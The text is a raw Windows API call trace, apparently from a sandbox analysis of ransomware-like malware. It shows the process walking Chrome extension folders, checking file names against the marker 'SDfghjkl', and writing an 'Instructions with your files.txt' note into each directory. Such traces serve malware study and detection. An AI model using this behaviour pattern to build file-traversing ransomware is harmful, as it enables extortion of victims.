[0129.144] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\..") returned 142
[0129.144] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8687f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8687f510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8687f510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x160, dwReserved0=0x0, dwReserved1=0x0, cFileName="computed_hashes.json", cAlternateFileName="COMPUT~1.JSO")) returned 1
[0129.144] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json") returned 160
[0129.144] StrStrIW (lpFirst="computed_hashes.json", lpSrch="SDfghjkl") returned 0x0
[0129.144] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x867288b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86727140, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe051a00, ftLastWriteTime.dwHighDateTime=0x1d03f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2b56, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 1
[0129.144] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json") returned 162
[0129.144] StrStrIW (lpFirst="verified_contents.json", lpSrch="SDfghjkl") returned 0x0
[0129.144] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x867288b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86727140, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe051a00, ftLastWriteTime.dwHighDateTime=0x1d03f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2b56, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 0
[0129.144] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\Instructions with your files.txt") returned 172
[0129.144] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
[0129.146] WriteFile (in: hFile=0x130, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cda14*=0x54, lpOverlapped=0x0) returned 1
[0129.147] WriteFile (in: hFile=0x130, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cda14*=0x18, lpOverlapped=0x0) returned 1
[0129.147] WriteFile (in: hFile=0x130, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cda14*=0xc, lpOverlapped=0x0) returned 1
[0129.147] WriteFile (in: hFile=0x130, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cda14*=0x16, lpOverlapped=0x0) returned 1
[0129.147] WriteFile (in: hFile=0x130, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cda14*=0x23, lpOverlapped=0x0) returned 1
[0129.147] CloseHandle (hObject=0x130) returned 1
[0129.147] FindClose (in: hFindFile=0x876eb8 | out: hFindFile=0x876eb8) returned 1
[0129.147] GetProcessHeap () returned 0x810000
[0129.147] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8dcc28 | out: hHeap=0x810000) returned 1
[0129.147] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x867288b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8687f510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8687f510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 0
[0129.147] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\Instructions with your files.txt") returned 162
[0129.147] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
[0129.148] WriteFile (in: hFile=0x12c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdca4*=0x54, lpOverlapped=0x0) returned 1
[0129.148] WriteFile (in: hFile=0x12c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdca4*=0x18, lpOverlapped=0x0) returned 1
[0129.149] WriteFile (in: hFile=0x12c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdca4*=0xc, lpOverlapped=0x0) returned 1
[0129.149] WriteFile (in: hFile=0x12c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdca4*=0x16, lpOverlapped=0x0) returned 1
[0129.149] WriteFile (in: hFile=0x12c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdca4*=0x23, lpOverlapped=0x0) returned 1
[0129.149] CloseHandle (hObject=0x12c) returned 1
[0129.149] FindClose (in: hFindFile=0x876e78 | out: hFindFile=0x876e78) returned 1
[0129.149] GetProcessHeap () returned 0x810000
[0129.149] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0129.150] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86833250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.9_0", cAlternateFileName="")) returned 0
[0129.150] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\Instructions with your files.txt") returned 156
[0129.150] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
[0129.151] WriteFile (in: hFile=0x128, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdf34*=0x54, lpOverlapped=0x0) returned 1
[0129.152] WriteFile (in: hFile=0x128, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdf34*=0x18, lpOverlapped=0x0) returned 1
[0129.152] WriteFile (in: hFile=0x128, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdf34*=0xc, lpOverlapped=0x0) returned 1
[0129.152] WriteFile (in: hFile=0x128, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdf34*=0x16, lpOverlapped=0x0) returned 1
[0129.152] WriteFile (in: hFile=0x128, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdf34*=0x23, lpOverlapped=0x0) returned 1
[0129.152] CloseHandle (hObject=0x128) returned 1
[0129.152] FindClose (in: hFindFile=0x876e38 | out: hFindFile=0x876e38) returned 1
[0129.152] GetProcessHeap () returned 0x810000
[0129.152] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0129.153] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x819d0bd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x916d8210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x916d8210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="apdfllckaahabafndbhieahigkjlhalf", cAlternateFileName="APDFLL~1")) returned 1
[0129.153] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf") returned 123
[0129.153] GetProcessHeap () returned 0x810000
[0129.153] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0129.153] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\*") returned 125
[0129.153] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\*", lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x819d0bd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x916d8210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x916d8210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e38
[0129.153] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\.") returned 125
[0129.153] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x819d0bd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x916d8210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x916d8210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.153] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\..") returned 126
[0129.153] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x871928f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14.1_0", cAlternateFileName="")) returned 1
[0129.153] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0") returned 130
[0129.153] GetProcessHeap () returned 0x810000
[0129.153] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0129.154] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\*") returned 132
[0129.154] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\*", lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x871928f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e78
[0129.156] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\.") returned 132
[0129.156] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x871928f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.156] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\..") returned 133
[0129.156] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x871928f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1a33, dwReserved0=0x0, dwReserved1=0x0, cFileName="128.png", cAlternateFileName="")) returned 1
[0129.156] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png") returned 138
[0129.156] StrStrIW (lpFirst="128.png", lpSrch="SDfghjkl") returned 0x0
[0129.156] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87016300, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8716c790, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1
[0129.156] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json") returned 144
[0129.156] StrStrIW (lpFirst="manifest.json", lpSrch="SDfghjkl") returned 0x0
[0129.156] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_locales", cAlternateFileName="")) returned 1
[0129.156] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 139
[0129.156] GetProcessHeap () returned 0x810000
[0129.156] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8dcc28
[0129.157] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\*") returned 141
[0129.157] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\*", lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876eb8
[0129.160] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\.") returned 141
[0129.160] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.160] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\..") returned 142
[0129.160] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1
[0129.160] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar") returned 142
[0129.160] GetProcessHeap () returned 0x810000
[0129.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.160] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\*") returned 144
[0129.160] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.161] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\.") returned 144
[0129.161] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.161] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\..") returned 145
[0129.161] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4da50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
